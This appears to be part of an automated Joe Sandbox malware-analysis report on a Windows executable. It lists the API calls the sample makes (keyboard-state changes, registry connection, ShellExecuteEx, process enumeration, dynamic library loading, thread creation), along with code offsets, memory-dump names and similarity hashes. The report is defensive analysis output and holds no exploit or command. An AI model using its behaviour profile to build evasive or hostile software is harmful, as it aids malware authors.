                              • PostMessageW.USER32(?,00000101,00000011,?), ref: 00444A60
                              • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444AAC
                              • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444AD1
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessagePost$KeyboardState$Parent
                              • String ID:
                              • API String ID: 87235514-0
                              • Opcode ID: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                              • Instruction ID: 19c159416ad4887e81d4090d30fbb5c505c675cee05c330e2fd8e115592bd25d
                              • Opcode Fuzzy Hash: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                              • Instruction Fuzzy Hash: B651C5A05487D139F7369234884ABA7BFD55F8A304F08CA4EF1E5156C3D2ECE984C769
                              APIs
                              • GetParent.USER32(?), ref: 00444BA9
                              • GetKeyboardState.USER32(?), ref: 00444BBC
                              • SetKeyboardState.USER32(?), ref: 00444C08
                              • PostMessageW.USER32(?,00000100,00000010,?), ref: 00444C35
                              • PostMessageW.USER32(?,00000100,00000011,?), ref: 00444C53
                              • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444C9C
                              • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444CBE
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessagePost$KeyboardState$Parent
                              • String ID:
                              • API String ID: 87235514-0
                              • Opcode ID: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                              • Instruction ID: 4493abccadab05ae7d00f733e1fa63583af0c494729619d74f1516a50adc8d80
                              • Opcode Fuzzy Hash: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                              • Instruction Fuzzy Hash: A951E4F05097D139F7369364884ABA7BFE46F8A304F088A4EF1D5065C2D2ACE984C769
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                              • Instruction ID: b3b3da583a0ae8cfa3180eda0e634cae40a493ebdfd517dbec9d2fd4fbd82cb1
                              • Opcode Fuzzy Hash: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                              • Instruction Fuzzy Hash: 1E513A315082909FE321CF14DC89FABBB64FB46320F18456FF895AB2D1D7649C06D7AA
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AA77
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ConnectRegistry_wcslen
                              • String ID: HH
                              • API String ID: 535477410-2761332787
                              • Opcode ID: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                              • Instruction ID: 7b41397762752e7dec08e47bcdb2cb2f58790b6f4670524580eb9da3090621e6
                              • Opcode Fuzzy Hash: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                              • Instruction Fuzzy Hash: A2516D71208301AFD304EF65C981F5BB7A9BFC4704F40892EF685A7291D678E905CB6B
                              APIs
                              • _memset.LIBCMT ref: 00457C34
                              • _memset.LIBCMT ref: 00457CE8
                              • ShellExecuteExW.SHELL32(?), ref: 00457D34
                                • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                              • CloseHandle.KERNEL32(?), ref: 00457DDD
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _memset$CloseExecuteHandleShell_wcscpy_wcslen
                              • String ID: <$@
                              • API String ID: 1325244542-1426351568
                              • Opcode ID: 669f3797eafbd6ea24f738bceaf78c3ad3f6bdf3b3f8ec2a74c9f7251b65f49f
                              • Instruction ID: 09e461bdfc47c8bdd671eddb31188d347eda7c51057725e13e77015b5001baed
                              • Opcode Fuzzy Hash: 669f3797eafbd6ea24f738bceaf78c3ad3f6bdf3b3f8ec2a74c9f7251b65f49f
                              • Instruction Fuzzy Hash: EA510FB55083009FC710EF61D985A5BB7E4AF84709F00492EFD44AB392DB39ED48CB9A
                              APIs
                              • CreateToolhelp32Snapshot.KERNEL32(?,?,?,?,?,?,?,?,?,00000002,00000000,00000014), ref: 0047379B
                              • Process32FirstW.KERNEL32(00000000,?), ref: 004737A8
                              • __wsplitpath.LIBCMT ref: 004737E1
                                • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                              • _wcscat.LIBCMT ref: 004737F6
                              • __wcsicoll.LIBCMT ref: 00473818
                              • Process32NextW.KERNEL32(00000000,?), ref: 00473844
                              • CloseHandle.KERNEL32(00000000,00000000,?,?), ref: 00473852
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                              • String ID:
                              • API String ID: 2547909840-0
                              • Opcode ID: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                              • Instruction ID: 8efa427203ffd7a45d167e3a64f6abf3f3640219bb0751621114887cb14f0fc1
                              • Opcode Fuzzy Hash: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                              • Instruction Fuzzy Hash: 4751BB71544304A7D720EF61CC86FDBB3E8AF84748F00492EF58957182E775E645C7AA
                              APIs
                              • SendMessageW.USER32(?,00001308,?,00000000), ref: 004552B7
                              • ImageList_Remove.COMCTL32(?,?,?,?), ref: 004552EB
                              • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004553D3
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
                              • String ID:
                              • API String ID: 2354583917-0
                              • Opcode ID: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                              • Instruction ID: 19c5dc8500d05a42ca126c51664c70dafe1d1a8ca3b523478e8997b137d6e309
                              • Opcode Fuzzy Hash: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                              • Instruction Fuzzy Hash: 77519D30204A419FC714DF24C4A4B7A77E5FB49301F4486AEFD9ACB392DB78A849CB54
                              APIs
                              • LoadLibraryW.KERNEL32(00000000), ref: 00463DD1
                              • GetProcAddress.KERNEL32(?,?), ref: 00463E68
                              • GetProcAddress.KERNEL32(?,00000000), ref: 00463E84
                              • GetProcAddress.KERNEL32(?,?), ref: 00463ECE
                              • FreeLibrary.KERNEL32(?,?,?,00000000,?), ref: 00463EF0
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AddressProc$Library$FreeLoad
                              • String ID: #v
                              • API String ID: 2449869053-554117064
                              • Opcode ID: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                              • Instruction ID: 5a5949aabc30296464acd143044f95cbdcafad8a77d2d24e7d672d776762960f
                              • Opcode Fuzzy Hash: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                              • Instruction Fuzzy Hash: 9051C1752043409FC300EF25C881A5BB7A4FF89305F00456EF945A73A2DB79EE45CBAA
                              APIs
                                • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                              • GetMenu.USER32 ref: 004776AA
                              • GetMenuItemCount.USER32(00000000), ref: 004776CC
                              • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004776FB
                              • _wcslen.LIBCMT ref: 0047771A
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Menu$CountItemStringWindow_wcslen
                              • String ID:
                              • API String ID: 1823500076-0
                              • Opcode ID: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                              • Instruction ID: 4b9e656becebfc5f52f27a1d7ad2c07a58398098864d75d3a5ce1c02cc274359
                              • Opcode Fuzzy Hash: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                              • Instruction Fuzzy Hash: 174117715083019FD320EF25CC45BABB3E8BF88314F10492EF55997252D7B8E9458BA9
                              APIs
                              • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0044890A
                              • SendMessageW.USER32(?,00000469,?,00000000), ref: 00448920
                              • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                              • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                              • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                              • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                              • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$Enable$Show$MessageMoveSend
                              • String ID:
                              • API String ID: 896007046-0
                              • Opcode ID: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                              • Instruction ID: 0809a8548e22334437b8974569d6adfa08582830463fbdb99c3481629354d751
                              • Opcode Fuzzy Hash: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                              • Instruction Fuzzy Hash: 63419E746043419FF7248B24C884B6FB7A1FB99305F18886EF98197391DA78A845CB59
                              APIs
                              • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                              • GetWindowLongW.USER32(?,000000F0), ref: 00441452
                              • GetWindowLongW.USER32(?,000000F0), ref: 00441493
                              • SendMessageW.USER32(030A1C68,000000F1,00000000,00000000), ref: 004414C6
                              • SendMessageW.USER32(030A1C68,000000F1,00000001,00000000), ref: 004414F1
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$LongWindow
                              • String ID:
                              • API String ID: 312131281-0
                              • Opcode ID: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                              • Instruction ID: f6a862a32ccfd92e4f153a1965fa7dc80102ffdb8abe4b8a046001f82176c48d
                              • Opcode Fuzzy Hash: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                              • Instruction Fuzzy Hash: 2F416A347442019FE720CF58DCC4F6A77A5FB8A754F24416AE5519B3B1CB75AC82CB48
                              APIs
                              • _memset.LIBCMT ref: 004484C4
                              • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 00448562
                              • IsMenu.USER32(?), ref: 0044857B
                              • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 004485D0
                              • DrawMenuBar.USER32 ref: 004485E4
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Menu$Item$DrawInfoInsert_memset
                              • String ID: 0
                              • API String ID: 3866635326-4108050209
                              • Opcode ID: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                              • Instruction ID: c1b4c65bd9dbf201e14e83578cc8030a3c247867dd5f1e451e409e2153a24926
                              • Opcode Fuzzy Hash: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                              • Instruction Fuzzy Hash: 9F417F75604341AFE710CF45C984B6BB7E4FB89304F14881EFA554B391DBB4E849CB5A
                              APIs
                              • InterlockedIncrement.KERNEL32 ref: 0047247C
                              • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
                              • Sleep.KERNEL32(0000000A), ref: 00472499
                              • InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
                              • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Interlocked$DecrementIncrement$Sleep
                              • String ID: 0vH
                              • API String ID: 327565842-3662162768
                              • Opcode ID: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                              • Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
                              • Opcode Fuzzy Hash: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                              • Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED
                              APIs
                              • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448B16
                              • GetFocus.USER32 ref: 00448B1C
                              • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                              • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                              • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                              • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                              • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$Enable$Show$FocusMessageSend
                              • String ID:
                              • API String ID: 3429747543-0
                              • Opcode ID: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                              • Instruction ID: 96ed947056310062a3fa6d2350adc65d304252fdbf70c479ab88671ed4e09c2c
                              • Opcode Fuzzy Hash: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                              • Instruction Fuzzy Hash: FC31B4706443819BF7248E14C8C4BAFB7D0EB95745F04492EF981A6291DBA89845C719
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D32F
                              • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3B3
                              • __swprintf.LIBCMT ref: 0045D3CC
                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D416
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ErrorMode$InformationVolume__swprintf
                              • String ID: %lu$HH
                              • API String ID: 3164766367-3924996404
                              • Opcode ID: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                              • Instruction ID: e4de0c6df68350460ad5232616e5185c9d799459bd1b640414cfcbd8d86849a8
                              • Opcode Fuzzy Hash: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                              • Instruction Fuzzy Hash: 85314A716083019BC310EF55D941A5BB7E4FF88704F40892EFA4597292D774EA09CB9A
                              APIs
                              • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450E24
                              • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450E35
                              • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450E43
                              • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450E54
                              • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450E62
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend
                              • String ID: Msctls_Progress32
                              • API String ID: 3850602802-3636473452
                              • Opcode ID: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                              • Instruction ID: b51c377fab27852337593a8f268aff884918310fa347e0537580fa9f3b853d23
                              • Opcode Fuzzy Hash: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                              • Instruction Fuzzy Hash: 2C2121712543007AE7209A65DC42F5BB3E9AFD8B24F214A0EF754B72D1C6B4F8418B58
                              APIs
                              • ImageList_Destroy.COMCTL32(?), ref: 00455451
                              • ImageList_Destroy.COMCTL32(?), ref: 0045545F
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Destroy$DeleteImageList_ObjectWindow$Icon
                              • String ID:
                              • API String ID: 3985565216-0
                              • Opcode ID: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                              • Instruction ID: 02eb1b45cc7e926b76574f27881fb1e8d9d372094f4d7b34cf8607babd6cb63d
                              • Opcode Fuzzy Hash: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                              • Instruction Fuzzy Hash: EA213270200A019FCB20DF65CAD4B2A77A9BF45312F50855EED45CB352DB39EC45CB69
                              APIs
                              • ___set_flsgetvalue.LIBCMT ref: 00415737
                              • __calloc_crt.LIBCMT ref: 00415743
                              • __getptd.LIBCMT ref: 00415750
                              • CreateThread.KERNEL32(00000000,?,0041568B,00000000,00000004,00000000), ref: 00415776
